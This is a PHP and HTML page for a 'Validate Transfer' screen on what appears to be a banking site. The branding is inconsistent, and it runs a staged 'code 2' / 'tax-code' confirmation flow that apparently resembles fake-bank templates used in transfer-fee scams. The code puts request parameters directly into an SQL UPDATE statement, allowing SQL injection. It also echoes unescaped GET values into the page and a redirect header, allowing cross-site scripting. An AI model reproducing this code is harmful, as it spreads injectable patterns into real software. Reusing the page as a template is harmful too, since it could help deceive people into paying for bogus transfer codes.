<?php 
session_start();
include('conn_auth.php');
include('customInfo.php');
include 'outputfunction.php';

if(isset($_GET['callback'])){
 //Update to stage one....
  $updateAcc = $conn->query("update transfer_info set trans_stat = 'Enter code 2' where trans_id = '" . $_GET['trans_id'] . "'") or die($conn->error);
 header("location:tax-code?trans_id=". $_GET['trans_id'] . "&stat=pending");
  }

$selStage = $conn->query("select * from bill_stage where stage_name = 2") or die($conn->error);
$rowStage = $selStage->fetch_assoc();
?>

<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="PWB">
    <meta name="keyword" content="Pacific western, Finance, Co-operate world, Bank"> 
    \ <meta property="og:title" content="PWB">
    <meta property="og:description" content="Royal Investment Bank plc">
<title><?php echo $rowUser['cust_name']; ?> - Validate Transfer </title>

 <link href="img/favicon.png" rel="icon">
    <!-- Bootstrap Core CSS -->
    <link href="mz/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- MetisMenu CSS -->
    <link href="mz/metisMenu/metisMenu.min.css" rel="stylesheet">

    <!-- Custom CSS -->
    <link href="mz/dist/css/sb-admin-2.css" rel="stylesheet" type="text/css">

    <link href="mz/dist/css/main_page.css" rel="stylesheet">

    <!-- Morris Charts CSS -->
    <link href="mz/vendor/morrisjs/morris.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="lib/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
     
     <link href="mcss/style.css" rel="stylesheet">
     <link href="mcss/xtrastyle.css" rel="stylesheet">
       <link href="mcss/responsive.css" rel="stylesheet">
     
     <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

<style type="text/css">
  .loadstat{
    margin-top: 40px;
    margin-bottom: 8px;
  }
</style>
</head>

<body style="font-size: 14px;">

    <div id="wrapper">
       <!-- first tpp div for main page-->
            <?php include('m_header.php'); ?>

            <!-- /.navbar-header -->
           <?php  include('sidbar.php'); ?>
            
            <!-- /.navbar-static-side -->
        </nav>

        <div id="page-wrapper" >
          <?php
        if(isset($_GET['msg'])){
          echo "<a href='personal' class='close-msg'>X</a>";
       echo "<div class='alert alert-info' id='warningdiv'>" . $_GET['msg'] . "</div>";
        }
          ?>         

           <div class="row">
            <div class="col-lg-10">
              <!-- /.panel -->
              <div class=" panel-default">
                <!-- /.panel-heading -->
                <div class="panel-body">
                                        
                                          <div class="pInfo">
                         
                   <div class="transT offset-lg-4">
                 <h3><?php echo $rowStage['stage_n']; ?> Confirmation </h3>
                    <hr>
              <span style="color: rgba(0, 0, 0, 0.5); font-size: 14px; font-family: 'Helvetica'; line-height: 25px; ">
                A  <?php echo $rowStage['stage_n']; ?> code has been sent to your Email. This is neccessary to continue your transaction. 
                For enquiries or further information, you can contact your bank or  support desk at <span style="font-weight: bold;">support@rmbplo.com</span> 
              </span>

               <div class="col-lg-8">
               <div class="spinDiv">
  
                <div class="alert alert-danger errorInfo"></div>
               <form method="post" id="confirmTax" class="confirmTax code_stl"  enctype="multipart/form-data">
                  <table width="70%" cellpadding="5" cellspacing="3">
                  <tr>
                  <td>
                    <label><?php echo $rowStage['stage_n']; ?></label>
                    <input name="tax_nmb" type="text" class="form-control"  placeholder ="<?php echo $rowStage['stage_n']; ?>" required />
                  </td>
                  </tr>
                  <tr>
                    <td>
                    <input name="trans_id" type="hidden" value="<?php echo $_GET['trans_id']; ?>">
                    <button type="submit" value="Start Transfer" class="btn btn-primary btn-sm btn-block btnTax">Confirm Code</button></td>
                  </tr>
                  </table>
                  </form>
                </div>
                 </div>


                </div>       
                
                        </div>
                  <!-- /.row -->
                </div>
                <!-- /.panel-body -->
              </div>
             
            </div>
            <!-- /.col-lg-8 -->
            <!-- /.col-lg-4 -->
          </div>
         
    <!-- jQuery -->
    <script src="mz/vendor/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="mz/vendor/bootstrap/js/bootstrap.min.js"></script>

    <!-- Metis Menu Plugin JavaScript -->
    <script src="mz/vendor/metisMenu/metisMenu.min.js"></script>

    <!-- Morris Charts JavaScript -->
    <script src="mz/vendor/raphael/raphael.min.js"></script>
    <script src="mz/vendor/morrisjs/morris.min.js"></script>
    <script src="mz/data/morris-data.js"></script>
<script type="text/javascript" src="js/script.js"></script>
    <!-- Custom Theme JavaScript -->
    <script src="mz/dist/js/sb-admin-2.js"></script>


</body>

</html>
